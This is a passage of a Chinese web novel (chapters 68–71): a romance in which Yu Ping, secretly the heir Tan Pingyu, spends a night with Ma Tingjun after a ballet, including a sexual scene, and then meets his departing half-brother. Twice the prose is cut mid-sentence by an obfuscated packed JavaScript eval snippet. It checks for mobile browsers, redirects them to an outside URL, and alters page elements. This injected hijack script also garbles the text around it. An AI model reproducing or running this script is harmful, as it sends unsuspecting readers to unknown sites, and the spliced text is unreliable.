初春时节的鲜花,质量称不到上等,俞平挑三拣四的几株,水灵归水灵,并拢在一起,依然孱弱,叫麻霆君看得过意不去,干脆把所有的都包圆了。三桶鲜花捆成一束,许是两个人抱着都困难。 麻霆君当仁不让代劳了。俞平便牵着他的衣摆并肩走。他道:“我选中的三间公寓,数这间最好,真是贵有贵的道理,巧也巧。我想想,不光有郁蕙心做邻居,给你买花也方便。” 俞平道:“和那房东说‘创业初期资金紧张’的,是不是你?是你良心好还是心眼少,不叫我陪你缩衣节食,还有闲钱给我买花?” 麻霆君笑道:“心疼你五爷的钱包做什么,不是有你旺夫吗?” 汽车停得远,买花也耽搁时间,边走边谈笑时候,路过一处布告栏,最大的一张是芭蕾舞剧《胡桃夹子》的海报,另有一出戏园新戏,《圣诞老人夜登鹳雀楼》,都是下周上演。俞平看着好笑,心生一计。 “嗳。”俞平不肯好好走路,往他身上一撞,“哪天你真做了谈四奶奶,也会给我买花吗?” 麻霆君站不稳,牵连洋桔梗也抖得厉害,簌簌掉着花瓣。他拨正花丛,才不满道:“什么话?才刚坐上五奶奶的位置,想这出?” 俞平大笑道:“会不会?你会不会?” 麻霆君只好道:“会,你在我心里也是个爷,我做你的少奶奶,好了吗?” 俞平听着开心,却眼珠一转,愤愤地道:“真不耐烦!这种男人谁要了谁倒霉。难怪我这么不顺,原来是命中注定有你这样一劫。” 说他一通不解气,倏地挽紧了他的胳膊,朝反方向撇过头去,又道:“坏狗一只。” 麻霆君纠正道:“好狗一只。” 俞平道:“坏狗。” 麻霆君还恬不知耻,道:“嗳,是好狗。” 俞平笑道:“好狗就好狗。好笨狗。” 麻霆君也吃吃笑起来,道:“又欺负我!” 他举高花束,挡在面孔之间,低头亲吻俞平。吻一阵才想起后头没有遮挡,被人看了难免觉得世风日下,悻悻结束了这个吻。亏是路上冷清,不至于羞愧得面红耳赤。 上车前俞平从他怀里抱了洋桔梗,跨进副驾驶位,闻见洋桔梗清香,比哪一次都浓烈。又一年春天到了。 68.舞池 俞平和麻霆君谈恋爱要掩人耳目,一直没有公开过。 这二人再是天作之合,做什么都齐心,也公开在恋爱上出了分歧。麻霆君巴不得人尽皆知,把俞平从布店明媒正娶了;俞平却有其他考量,虽是真心给他了,他还不知道自己真实身份,可惜不能贸然揭穿。 况且俞平不是没努力过,试探再三也没被察觉出来,便将错就错了,一直瞒着。偶尔想要提起,话到嘴边还是住了口,只说得出“谈四爷”,叫麻霆君吃醋的心思愈发浓重。 春天最忙了。幸而这两家都不是种地的,空闲的时间多一些。俞平整理房间,找到姐姐送来的生日礼物,两张芭蕾门票,《胡桃夹子》,总算上映在即。 和麻霆君一起去,住在柏庄。 柏庄在滨江区,供人下榻的高档之处,隐在山脚下。当今西式是时兴,却难得是中式装修。 进门处有花篮牌匾,最显眼的不过“开业大吉,谈四谈凭玉敬赠”,粗略晃一眼便能看见。吓得俞平一哆嗦,记不清是谁借他的名义办人情世故,便把帽檐低了低,带麻霆君去办理入住。 有车送他们去剧院。 谈皎订的是包厢,他们等在专门的休息室里检票入场。轮给他们一个经理,满脸堆笑地收了票,往名单上核对,忽而道:“谈小姐?” “是。”俞平早编好谎话,把麻霆君推出去,道,“这位是麻先生,与谈小姐合作的外地商人,办成了一桩事,她来谢谢他。” 经理笑道:“既然是谈小姐请客人,我们剧院没有怠慢的道理。可这厅岁数大,包厢唤人不方便,不如麻老板先去里头等了,我嘱咐这位小伙计几句?” 他看着俞平。 供给谈家的都是最好的,又逢谈皎亲自订票,真是包厢设施落后,哪有轮给她的道理?俞平认定其中玄机,也看的出麻霆君紧张,先安慰麻霆君了,搪塞出一个笑,道:“还是要听有多么不方便,否则你给我买冰淇淋,还没端上来就化了。” 麻霆君向他微笑:“我在里面等你。” 经理更客气三分,把俞平引入幕后一处办公室内。 他道:“这位先生,我是不认得您的。” 俞平点点头。他又道:“毕竟是谈小姐订的票,他人若是有心,一定查得到。有一位谈先生托我们嘱咐您——今夜夜半时分,他会在柏庄门口等您。” 俞平心上一惊,装着不动声色,问道:“谈文翡?” 经理道:“非常抱歉,多余的我也不清楚了。” 那包厢当真是唤人不大方便,俞平从幕后小道走,硬是绕了一大圈。推开门见到茶几上摆着茶点拼盘,盛各色小蛋糕马卡龙,剧院送的。 麻霆君一定爱吃,却是一口未动。放了很久,蛋糕上的冰淇淋全化了,滴在夹心的水果上。 俞平关了门,面壁许久,不知道如何接受现实。 谈行一是家里一株墙头草,风往哪里吹便靠向哪里。平日也不见得特别关心他,何况谈皎已经得势了,她会不说谈凭玉下落何处?可是谈文翡怎么会来造访?谈文翡找他做什么? 往坏了想是拖他下水,他已经死了,真的死一次也无妨;往好了想不过是告别。告别的却是他在鹭镇的自由日子,旧的新生活在等他。 做四爷,便是没什么消遣活动,学都不让上,日复一日地工作,一天到底说不了几句话的——他哀哀地想着,就算麻霆君愿意给他作伴,陪他去枢城、去香岛,无非是关在笼子里,互相聊以慰藉。哪比得过在鹭镇吹一抹风。 “不来坐吗?” 俞平往后瞥一眼,看麻霆君更加心爱。他也知道自己纯粹是病急乱投医,太空虚了,非要找点什么来填补。靠去麻霆君身边,麻霆君搂着他,又轻轻笑道:“我看这里唤人真不方便,你迷路这么久。” 他总算开了金口,道:“是难找路。” 边上乐团先奏乐,传到俞平耳朵里七零八落,各类乐器的声音是分开来的,拼凑不到一起去。总算开始跳舞。往常都是包场,坐第一排,二楼包厢里什么都看不仔细。 他也不太想看,贴着麻霆君的脖颈听心跳。 麻霆君忽然道:“门票的事情。” 说完这话也没个后音,他光是看着俞平。俞平慌乱之间,不经意讲了实话,道:“是我姐姐送的。” 露马脚了。俞平暗暗吃一惊,吃惊却也是虚无缥缈的,自己没吓成自己,另有一种莫名其妙的轻松——麻霆君能拆穿他,他不用再撒谎了。 偏偏麻霆君温柔地注视着他,他只好道:“谈皎是谈四的亲姐姐,对我很好,我确实一直把她当作姐姐看待……她也纯粹是请我看芭蕾,不是做局抓我,你不要想太多了。” 麻霆君道:“我以为是蕙心送你的。” 俞平道:“蕙心和熟人打牌都不肯放水,要我掏她的钱包,太不现实了。” 麻霆君用笑声翻篇,因为笑得很假,实在难听,要是为了逗他开心,还算别出心裁。 但是俞平不想再瞒下去了。 瞒到现在也不知道麻霆君爱的究竟是俞平还是他。兴许友好饭店那一夜,麻霆君说的是事实,“他好看”,便只爱了一双狐狸眼睛——再要寻根究底,是自己和自己打架,谈文翡要来找他已经够磨折了,他犯不着自己雪上加霜。 幕间休息十五分钟,散座上的人纷纷起来活动。俞平正是盼这一刻人声嘈杂,以便悄悄问麻霆君:“如果我回了谈公馆,你肯来陪我吗?” 他屏息凝神片刻。 “什么话?” 麻霆君也知道自己态度不佳,笑一笑补救,道,“说好一起住公寓,一起开银行,怎么要去谈公馆了?” 俞平仓促道:“我和你说过,我是逃出来的,总有一天要回去。” 又不好一开始和麻霆君讲事实,他真是差一点死了。难得死里逃生,不想再走一遍钢丝绳。 若是一开始就坦白,就算麻霆君与他的计划一并走,把他带去公寓。外头风言风语轮不着他编排,被黑吃黑了,也讲不清楚。 后来明里暗里都试探过,可惜在麻霆君心目中,俞平已经根深蒂固了。只好一点点愚公移山,把谈凭玉搬出来。俞平是该消失的,他迟早死在麻霆君面前。 他也知道他残忍,不敢看麻霆君表情。 包厢外有侍者敲门:“先生,您点的果盘到了。” 麻霆君道:“我们没有点,送错了。” 侍者闻所未闻一般,端来一盘水果,外加两杯意大利式冰淇淋,顶上高高地插一圈长条曲奇。 麻霆君还想争辩,俞平摁住他的胳膊,道:“吃吧,有人付了。” 门关上。麻霆君才道:“近来我发觉你有些奇怪,从新年开始的。我相信你也有相同的感受,究竟怎么了?” 俞平吃不准尺度,尝试着和他开玩笑,道:“你妹妹不是编话本的么,她有没有写过,虽是名不见经传的小角色,其实本领非常高深?”< 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门又关上了。咔哒声还不及圆舞曲更响。俞平忽然看不懂芭蕾舞了,脑海里排山倒海地想,真正生日的日子,去看三流戏子唱戏,和麻霆君在一起了;由俄国舞团开启的,谈公馆里照例的生日,却把麻霆君气走了。像是两张互相凑不到一起的拼图,一切都是颠倒过来的。 他宁可看三流戏子,失了麻霆君,也不想在剧院里失了麻霆君,本当是他的节日——这就是他的生日礼物?如果是谈皎的本意,想来也不稀奇。谈皎是个活的死人,他也应该像谈皎一样,死着享一辈子荣华富贵。 俞平好不容易熬到散场前,麻霆君回来,二人相继无言一阵,坐柏庄的车回房间。 柏庄是都是独栋,一间套房算一栋楼,错落有致,像是一排蘑菇。 反正房间大,不但是卧室,盥洗室也不止一间,闹矛盾了大有去处。俞平管自己洗漱完,披一件浴袍,回卧室找睡衣。 他们住在最靠山脚下的一间,窗帘没有拉上,对面是密密树影。可惜夜里落雨,雨水顺着叶片跳进窗台,一点点砸在俞平干净的身体上,模糊见还听见汽车轰鸣阵阵。他却把玻璃窗往外揿,浴袍便被打了个半湿。 回头看见麻霆君走了过来。房间里就点一盏阅读灯,他看不清麻霆君表情。回想起第一次敲开麻霆君卧室门的场景,同样深不见底,他与麻霆君就隔着一张穿衣凳——那时候他还是谈凭玉。 “我不喜欢被骗,所以一直对你很坦诚。” 麻霆君语调温和,意图消除着事态的严重性,实际上适得其反。又道,“平儿,如果你真的遇到了困难,如果你愿意告诉我,我们是可以一起面对的,无论如何,我都一定会帮你。” 俞平心上一颗石头落了地,人虚飘飘的,险些立不住脚。麻霆君做得够好了,都是他先前胡来,自讨苦吃。他被安排管了,最早时候听父亲的,后来听姐姐,现在又要叫麻霆君来摆布。等下要见哥哥了,想来自己好像依旧孑然一身——他掌控不了他的命运,还摸不透麻霆君么?麻霆君就是他的人! 他朝前逼近,心意比任何一次还坚定。门是关着的,唯一的缓冲便是一张双人床,他走时双手游移在腰际,没有给麻霆君什么退路。 麻霆君鼓足勇气,道:“郁蕙心和谈文翡有过婚约,郁、谈,他们两家是熟悉的。新年那天不是蕙心打来电话——” 又小声坚持道:“是谈凭玉。谈四回来了,他想找你。我说的没错吗?” 俞平抿一阵嘴,忽然笑了,道:“哪里有谈凭玉?” 浴袍顺着他的后背,滑落在地上。 69.灯下 那阅读灯一点都不亮,本就是供在床头,叫人不要打翻了床头柜的,就算迷迷糊糊睡过夜了也不影响。灯关上再开起来,俞平要成谈凭玉了。 两件浴袍甩在床尾,床头二人谁也不叫冷,却都是凑得更紧密了些,身体越来越烫,起先反映在耳廓,再传递到面颊。被剥开的谈凭玉,恰如其分地展示着他的柔软,感受出麻霆君匍匐向上,吻在他的喉结旁。 麻霆君的唇瓣轻柔得像是天上的浮云,牙却是利的,刺在谈凭玉的心上,逼他想起两杯融化的冰淇淋——楼下正是齐舞时刻,芭蕾演员舞步整齐划一,足尖点地噼啪作响,却是哪里来的芭蕾舞?他神志不清了,侧着脸才看见是落在窗沿的雨。阴雨恰好滋长着谈凭玉的情愫,今夜大雨滂沱。 忽然被麻霆君关心了一遭,他被拉起来,垫了个枕头。 他的身体落了个舒服的位置,头却深深陷进窗里。往外头看去,一切都是颠倒的,不知是哪里下的雨,弹跳得杂乱无章,落在窗棂。麻霆君顶他上九霄云外,雨滴却溅在他的眉心。把他打落原地。 雨下得愈发大,麻霆君也识破了,往外看一眼,道:“平儿,我去把窗户关上。” 说这话时却是尚未停歇,一心两用而拧起的眉头格外动人。谈凭玉把他的脖颈环下来,道:“别去了。” 麻霆君抚摸他的眼睑,道:“关窗用不了多久,很快就来陪你的。” 谈凭玉撒娇道:“既然很快,更不要去了,好好陪我不行嚜。” 麻霆君嘴里啧一声,轻轻笑着,发力把谈凭玉摁在底下。说是要去关窗,谅他也抽不出身,不知道是谁更情难自己; 然而谈凭玉被他伺候得没什么感觉,先前是痛的,其后也麻木,只吃出他正忙忙碌碌——总归是麻霆君关心得不到好处,他短发摩挲着被单,扭得更加滑稽。 春夜凉意彻骨,他们这一处通风,雨落下来闷一通水汽,才有些热热烘烘。 想来在货轮上与麻霆君的初见也是在春天。难得有准许谈凭玉出门的机会,他回家后念念不忘,海港、码头、德国牧羊犬,不知道名字的麻霆君,好像心尖萦绕一通烟雨,把他冰冷手脚解冻了,湿漉漉地腻着。 谈皎是真懂他,或者是他的世界太空了,新来点什么都稀奇。那天他们破例谈了一些话,有关于姐弟情谊,实际上也虚无缥缈。 沐浴在一切新生事物的悸动里,谈凭玉装不住平静,难得道:“世上有爱情吗?” 只记得谈皎笑话他。谈公馆是生不出爱情的。父辈没有,他们也不会有。 后来也没和谈皎谈过几次心。谈皎要夺权,大小姐的身份太不方便,便要拿他当幌子。所以四爷的名声算是彻底臭掉了,社会上发生无主的恶性事件,都可以叫他来认领。 枢城的风云里,遭受万人唾弃的谈凭玉,此刻却正在麻霆君身下得到了庇护—— 麻霆君肩膀宽阔得像是温暖的屋顶。纵使今夜枢城大雨倾盆,他也淋不湿一寸。 麻霆君近在咫尺,脊背弓着,侧在他耳畔闷哼,吐息要烧糊他的耳垂一般。他左手软绵绵贴在麻霆君的脖颈,才发觉雨也是烫的。滚烫的雨滴落在谈凭玉的额头,他的心浑然跳在脸上。 有那枕头垫在身下,以便麻霆君爱他更深。谈凭玉才勉强适应,接连吃一阵痛,爱情也是如此?每每他放下戒备,新一轮的胆战心惊就要来了。 又看得出麻霆君目光实在是宠溺,灯光勾勒着无比温馨的夜,合眼后仿佛有小精灵来床头祝福。屋外雨下得密密麻麻,与微光交织着,热闹非凡,却只会觉得世上唯独他们二人翩跹。难得见麻霆君全心全意放肆一次,可就连此刻的温情都不是预备给他的——麻霆君不爱他。 麻霆君读不懂他,就算他亮出翡翠扳指,麻霆君爱的依然是俞平,爱变成四爷的俞平。他的坚强和勇气都属于另一个灵魂,叫麻霆君爱了;留给他无尽的破碎,挣扎在麻霆君身下。 他不敢承认他是谈凭玉。 他咬着下唇,怕眼泪掉下来,一声不吭。麻霆君当是自己多有得罪,吻他一阵。 但是麻霆君太表里如一,相貌英气逼人,不走半分捷径,这时候更是。谈凭玉不信他毫无自知之明,皱着眉。他反倒不好意思地笑了,把谈凭玉抱起来。 “你教我。”他说。 谈凭玉与他一同在起跑线上,然而号称职业情人,不能被识破,便心一横,下足血本——然而面面相觑一阵,麻霆君先忍不住笑,坐直了道:“嗳,我生疏就算了,怎么你也这样?” 谈凭玉扭他脸颊上的肉,他依然吃吃笑着。谈凭玉便道:“知道就好,这本来就不是什么舒服的事。” 麻霆君道:“方才看你挺有兴致,也是装出来的?” 谈凭玉道:“不然?我是为了配合你,否则我一点反应没有,你怎么高兴?” 麻霆君笑道:“又嘴硬了——亏你遇到的是我,我还能多哄一哄你。” 谈凭玉拗不过他,也说不出所以然。床上的少爷也是少爷,被人伺候总是舒服的,无关行什么事。只好胡乱撒一通气,敷衍过去:“烦死了,烦死了!” 麻霆君吻过他,叫他闭了嘴。他又道:“我要是用尽全力,把你弄得半身不遂,谁开车回鹭镇?” 麻霆君道:“你以前也是我这个位置?” 这便是谈凭玉不愿承认的:若是要尽兴,总有人要作牺牲。再是他主导麻霆君上钩,真要搏斗起来,他倒是弱势的一方。 他现在是当俞平的,反正是鹭镇上多生出的一段情,传出去也没人想到是他,还算无所谓。 一旦涉及到四爷——那被杜撰出来的魔王,凌驾整座枢城之上,岂能居于某人身下!他再没大男子主义,再是被迫,也要在四爷的身上增砖添瓦; 事实却有点难看。 他自暴自弃道:“有可能。” 麻霆君便道:“难怪你不适应——这么说来,你也算为我献身了?” 他耳朵烧得比先前还旺,不由得愤愤道:“行了,讨了便宜还卖乖!” 麻霆君笑道:“唉,你向我服了软,我便多疼你一些。” 话音刚落,谈凭玉抬手一耳光,脆生生地落在麻霆君脸上,道:“别太得意!” 麻霆君不和他计较,均匀发着力。他不肯服软,半晌才道:“你得不到我的,你又不是谈四。” 麻霆君便停摆了,道:“好,都依你。” 这人不动弹就罢了,还霸着他不肯走。谈凭玉犯一阵惊愕,干脆把他当成工具,自顾自扭几轮,照旧不尽兴。只好拍完他的面颊,再拍他的手臂。 他照旧一副死相。谈凭玉气道:“动啊!怎么不动了?” “我得不到你,我还这么殷勤?”麻霆君鹦鹉学舌,报复道,“我不是谈四。” 谈凭玉态度软和不少,赔了个吻作歉礼,道:“差不多得了,否则是两败俱伤的事情,你也不舒服。” 麻霆君道:“去谈公馆门口磕几个响头,让他叫我动快点。” 这时候竟开始冷嘲热讽,谈凭玉一笑就泄气,不想再配合,索性道:“麻霆君,你真不是个男人,你远比不过四爷!” 麻霆君才挣扎着要重归于好。 谈凭玉撇开他递来的吻,喊道:“四爷雄风威武啊!” 不尽兴,又道:“四爷是男人中的男人,麻霆君是只小小王八。” 麻霆君自欺欺人地开口,道:“随你,我不跟死人置气。” 谈凭玉扭着他的臂膀:“赶紧对活人殷勤点。” “求你五爷。” “求求五爷。” 麻霆君翻了身,深深耕耘其中。谈凭玉摸得出来,作美谈的虎背蜂腰螳螂腿,确实一样不缺;好不容易有点被服务的安逸在,叫得又诚然太没章法,二人血气方刚,未免太激烈。许久后,谈凭玉先前一语成谶,麻霆君确实缠不过他。 结束后麻霆君抱着他重新洗了一遍,洗的自己满头大汗,先把他安顿在卧室里,又重新开淋浴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第二回灵敏偏了方向,麻霆君看他不对劲,犹豫许久,才道:“是不是我弄得你太不舒服了?” “不是。”谈凭玉没心情唬他,坦诚道,“如果从头难受到尾,我早把你踹下去了。” “别骗我啊。” “没骗你。” 麻霆君小声道:“真的不是我的原因吗……” 谈凭玉扑哧一笑——麻霆君挠他的鼻尖,道:“你也知道的,万事开头难,一时半会改不好的。我坏,我给你咬来出气。” 谈凭玉爬去床头,靠了背坐。麻霆君也过来,贴心地给他垫枕头。他继而扑通一声闷在麻霆君的身上,道:“确实烂得不行。” 麻霆君道:“接受批评。” “我感觉我整个人要被你劈开了。” “对不起。” 谈凭玉忽然抽噎一声,所幸这时候正浓情蜜意,听着也像忍笑。麻霆君钻在他身边,互相依靠着。 他听着顺在血管里的心跳,藏不住眼泪,忽然来了句:“霆君,我有点想四爷了。” 麻霆君则是抱了他很久,温声求饶道:“其实我真的还不错了,你想想看……” 谈凭玉打断道:“不错什么?你肯牺牲你的位置给我?” 听见麻霆君吞口水。麻霆君心虚道:“实话实说,我能感觉出来,四爷真对你挺好的?否则你也不会天天和我提他。” 谈凭玉笑道:“你滚啊!” 麻霆君笑道:“我不滚,我要对你比他更好,叫你以后回忆往昔,只准想起我。” 嬉闹一阵才熄灯。窗户还没关上,雨先停了。落过雨的地方比先前凉爽,何况还是在山脚。谈凭玉缩在麻霆君身边,听他呼吸绵长,轻轻道: “我真的很爱你——哪一天天翻地覆,我们不再是我们了,你也一定要相信:我真的很爱很爱你。” 没有小精灵跳舞祝福。谈凭玉在他身上画圈,念咒语:“很爱很爱很爱很爱很爱……” 麻霆君困得睁不开眼,含糊道:“平儿宝贝,我也是一样的。” 夜早就深了。有三辆车很早就停在柏庄门口。 70.文翡 后半夜,谈凭玉裹了麻霆君的外套,姗姗下楼。 山脚下藏车方便,又是在晚上,什么都看不见。柏庄门口有值夜班的,见了他就问声好,为他开门。外头齐刷刷一排车窗降落的声音,紧接着有心腹兼保镖的出来朝他鞠躬。 “四爷好。” “四爷好。” 他回过头,柏庄的大门闭上了,这等场所的就应该学装聋作哑,听不听见都是一样的。他不知道他们打什么算盘,不敢太接近。 谈文翡讲究排场,坐在门边上,要叫司机为他开门才肯下车。一行人等他一个摆谱子,好不容易打上照面。 谈凭玉道:“至于带这么多人?” 谈文翡轻笑道:“毕竟是来见我弟弟。” 说是落魄了,没想到谈文翡死性不改,花孔雀似的,一身黑都好像分外妖娆。谈凭玉吃惯花香,闻出他长发上尖酸刺鼻,工业香精气息。他伸手为谈凭玉整理衣领,手上戒指戴得繁复,打架一般叮咚作响。 谈凭玉撇过脸去:“你找我干什么?” “上车说吧。”他赶了司机,自己开车。 车里烟味太重,开一阵窗才叫谈凭玉上来。 看那些埋在夜色之中的人物,没什么警惕的气息。谈凭玉就算再麻痹,离他们这般近,照样嗅不出半分危险,暗自思忖着——谈文翡不像是来害他的。就算谈文翡要绅士格斗,一对一单挑,他体格上有亏,自损一千也要杀敌八百。 烟是纹在车里的,散不干净。谈凭玉吃不惯烟,咳嗽一阵,表情难看地道:“去哪里?” “你想去哪里?” “哪里都不想去。” “那就听我的,晚点把你送回去——我也没什么要和你说的。”谈文翡说。 于是往江边开。谈文翡开车不专心,一路要和他搭话。关系原本就不好,闹得更僵了。谈凭玉身上累,枕在玻璃窗上,靠一点点寒意提神。 又听见谈文翡问道:“都回江东了,不来家里住,跑去柏庄?” 这话十足是像是冲着麻霆君去的。他道:“柏庄怎么了?” 谈文翡道:“哪是柏庄的事情——我看你穿得也难看,倒不如去真去找花魁了,省得落难在外头受苦。” 他不清楚谈文翡知道多少。年初一通电话打去麻公馆,谈文翡应当知道他成了俞平,还有恋爱的事情——但是他精力都消耗在方才,更加没力气细究了,回答时候懒懒散散:“二爷,我现在很穷呢。” 谈文翡嗤笑道:“是看你瘦了点。” 这类自欺欺人的关心算什么?回答的人估计要怨恨死了,提问的还以为自己多么功德无量。谈凭玉回头看哥哥的面孔,虽是同父异母,一点作为兄弟的实感都没有,熟悉的陌生人。 他不太想理谈文翡,良心却过意不去,便有一搭没一搭地应着。 谈文翡总算说到:“下一任家主轮给你姐姐做,她应该要叫你回去。有什么要提前准备的,可以开始了。” 又道:“我是准备走,不过有什么需要我做的,相信你可以联系到我。” “真的?”谈凭玉愣一愣,道,“你去哪里?” “京都,和我妈妈一起。我是来告别的。” 结束了?他在鹭镇上不是没有关心过家事,每次去麻公馆都捡一星期的枢城日报来看,指望能知道一点家里的消息。豪门世家最忌讳诞生八卦,出洋相供别人笑话的。谈公馆既然能把他保护迄今,自然也不会走漏什么风声。 来看望他的郁蕙心和Wilson都是外人,了解不了多少。也就单龙算个心腹,可惜是陪三少爷打游戏的,只说得出谈皎没打算找他。 风声鹤唳这么久,谈文翡来了结了。他难得叫谈文翡“哥哥”,谈文翡也应了,好不容易挤出一个笑。 “长辈的恩怨确实棘手,可在我心目里,你不完全是凭玉,一直是我的亲弟弟。我很想巩固我们的情谊,却不清楚怎么和你交往,既然有好长一阵不会再见面,不如同你坦白了。” 谈文翡又道,“谈皎说她不管你。除去日常工作,你有很多空余时间,社交、娱乐,你可以开始规划了。” 他的话说完了,车往回开。谈凭玉低着头,沉默好一阵,才道:“其实我不知道我要做什么。” 谈文翡温柔道:“这就是自由。” 柏庄门口车没有散。谈凭玉下了车,原先的司机一路小跑,接替了方向盘的位置。 谈文翡绕车一圈,站在他的面前,道:“真的不用我帮忙?” 谈文翡是懂他的,而且要走了,如何折腾都无所谓。他大可以叫谈文翡好人做到底,去见一面麻霆君,把他的底细拖出,然后就是他们一起回枢城了— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160958|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —倏地又不想。鹭镇上的自由是他最纯粹的自由,就像生日拆礼物,没有叫旁人代收的道理。 “我自己也有办法吧。” 他说得心虚。司机看眼色,掏皮夹子,一共三张空头支票,先交给谈文翡。 谈文翡规整叠好,塞进他的外套口袋,连同自己一只腕表也卸了下来。抽手时候还嫌料子太糙,眼角抽搐了下,道: “其实是你姐姐下的手。” “我知道。” “如果你是为了在谈皎那里求平安,才跟着他鬼混——我这里还有回旋的余地,你来帮我,只会更大。我还会保障他的安全。” 半响,谈凭玉咕哝出一句:“可是我爱他。” 另一车的人聚在一起,怕四爷闻了不高兴,点烟后也不好开窗户。一群人吃烟也吃得百无聊赖了,终于有人开口。话题就地取材,绕着兄弟二人展开。 “我们二爷前几年和四爷不对付,最近二爷累了,才缓和不少。” 打头的另赌一包烟。他要叫他们猜一猜: “猜猜二爷为什么记恨他。” 夜里就没有亮堂的道理,硬件装潢得再先进,柏庄的路上也是隔两三盏点一次灯。看见冬天残存下来的常绿乔木仍生机勃勃,铺天盖地,连风经过浓墨重彩的绿荫时都暖和了些许。所一望无际的只有绿色的夜。 绿把谈凭玉包裹,夜把谈凭玉淹没。万籁俱寂的世界里,只见门口一盏小灯忽明忽暗,麻霆君正向他招手。 谈凭玉片刻不犹豫地奔了过去: “霆君!” 麻霆君张开双臂。俞平扑进他的怀里。 “最早说到老爷反悔,把原本给二爷的扳指又转赠给四爷。不过我们二爷良心是真好,说是嫉妒也不至于,一直把四爷作弟弟看待。” “也就谈皎最不好了,搅得谈公馆成死水一潭。现在这扳指也没用场了,你给我我也不要,别说二爷要去京都——我们二爷是生龙,关不住的。” “那他们之前怎么怄上的气,二爷有这么小气?” “还真不是我们二爷小气,那扳指,亏是他没带出来,否则你们也好长点见识,真叫把整个春天的翠色都浓缩成了一滴。” 比划这人,食指拇指挤在眼前,眯着眼睛,忽然开口笑了笑: “就这么一滴。明白吗?” 71.生疏 麻霆君只把他接进来。俞平缩在床上,不敢面对一切。 谈文翡的车早走了,开得凶,不知道麻霆君有没有听见。卧室里还是暗的,俞平攥着枕头,手脚缩在一起,织一个小小的茧,织点心安理得出来。 床头柜落了一杯温水,再听见麻霆君钻在他边上。他更加睡不着了,连点装睡的心思都没有,一点点攀起来,捧着玻璃杯,靠水温捂得足够开口说话。 他道:“你怎么醒了?” 麻霆君笑得略带歉意,道:“我肚子有点饿,想起来找吃的。” “你是醒了,还是从来没睡着过?” “没睡着。” 俞平把灯开了。 麻霆君比他更严肃,试探性把他捞在怀里。他不肯。麻霆君便可怜兮兮靠在他肩上,为了不让他吃力,全靠自己肩颈撑着,道:“俞平。” 直到俞平应了声,麻霆君才敢继续:“我是清楚了你的过往才开始追求你的,我很爱你。有些话你现在说不出口……也许我们还有很长时间,你可以慢慢来。” 俞平顿了很久,才往麻霆君身上靠,道:“你有猜过什么吗。” 麻霆君道:“我猜来猜去,只想得出谈家的人找你。你也是爱我的,不想让我跟着苦恼,所以才没告诉我。” 麻霆君倒是比他想象中聪明点,或者从麻霆君下定决心那一刻,他就已经低估了太多;不过什么线索通向的都是事实,猜不到才稀奇。 他鼓起勇气,吻了麻霆君的额角,道:“你有什么想问我的,我能够保证坦诚回答你。” 他希望麻霆君能问他到底骗了什么,最坏的不过现在叫麻霆君戳穿了,没有拆礼物盒子的快感,顶多无趣味了一些。麻霆君爱错了人,一场空欢喜的事情,可他不愿脱身了。 他爱麻霆君,不想继续挣扎,有麻霆君愿意在门口等他,这一刻就够他全心全意托付了—— 麻霆君道:“你肚子饿吗?” 俞平怔了怔。玻璃杯被他捂热了,感觉不出握在手里,他全身的力气拿来给心跳,叫杯子滚在床上,还当要换个地方躺。水早被他喝空了。 麻霆君拾起杯子,笑道:“你是仙子,从来不会饿的,不过应该都是我太馋。那么,身上疼吗?” 俞平道:“还好。” 麻霆君把他抱在身上,锤他的后背,道:“床上我是生疏,按摩是老手了。我常给爹娘做按摩,不知道有没有告诉过你?” 他顺势往侧边躺倒,脸刚好埋在被单里,半晌湿了眼眶,道:“麻霆君,我什么都骗了你!我连名字都是假的,我根本不是俞平!” 麻霆君笑道:“你不是俞平,难道是凭玉嚜。” 他咬着下唇,点不了头。 麻霆君逗他逗不开心,又絮絮叨叨地道:“我是从来不撒谎,所以也不喜欢别人骗我。可如果是你,又觉得坦诚不该是负担……我早知道你有难言之隐,还是来接近你了。骗了就骗了,没什么要紧的,就当是我活该。” 俞平忍着抽噎,轻轻道:“可我真的是凭玉。” 麻霆君笑道:“除了你以外,我还有两个恋人,一个是平儿宝贝,一个是宝贝平儿。” “我真没骗你。” “那再加一个俞平宝贝,好不好?” 按摩要从肩膀一路向下,俞平的腿实在放松不了,紧紧绷着,叫麻霆君无从下手。他翻身面对着麻霆君,胆小道:“说好了,以后也不准怨我。” 麻霆君笑道:“嗳,我宝贝你都嫌没时间,怎么有空来怨你?” 俞平起身吻了他。 一觉睡到次日中午,早餐午餐都并在一起了。过了午市,只好打电话额外叫餐。俞平闻到香味睁开眼,挣扎着爬不起来,迟觉浑身疼痛难耐。 麻霆君早起床了,也不在卧室。 俞平咬紧牙关,先爬起来找支票。昨晚实在太累,忘记外套脱在哪里。按照麻霆君一贯以来的好习惯,果真在衣橱里找到了。 口袋里的支票原封不动,展开便是谈文翡趾高气扬的签名。叠痕只有原先的几道,也看不出有没有被人拆开过。他不信麻霆君没有拆开看过。 他没什么穿衣服的心思,随便扯了几件深颜色的,再把支票攥在手里。转身时恰好面对穿衣镜,才看见遍体鳞伤。他皮肤白,光是看着就起一身鸡皮疙瘩,难怪麻霆君又是甜言蜜语又是按摩,比他还心虚! 麻霆君在客厅等他,身上与他不分伯仲,小小一节脖颈便青一块紫一块的。亏是麻霆君闲心足,知道穿衣打扮,领子上多围一块方巾——骂人的话顺到嘴边,俞平讪讪住了口。你情我愿的事情,好像也不好怪谁。 吃过饭去荡马路,算个约会项目。滨江除了江畔实在没什么供正规情侣消遣的,否则就是去花天酒地; 又逢周末,全枢城的闲人都要出门了,马路上汽车来来往往,谈文翡竟也派了一辆,盯梢的掩耳盗铃地看报纸,俞平瞪去一眼,那人便迅速把报纸往上挡着脸。 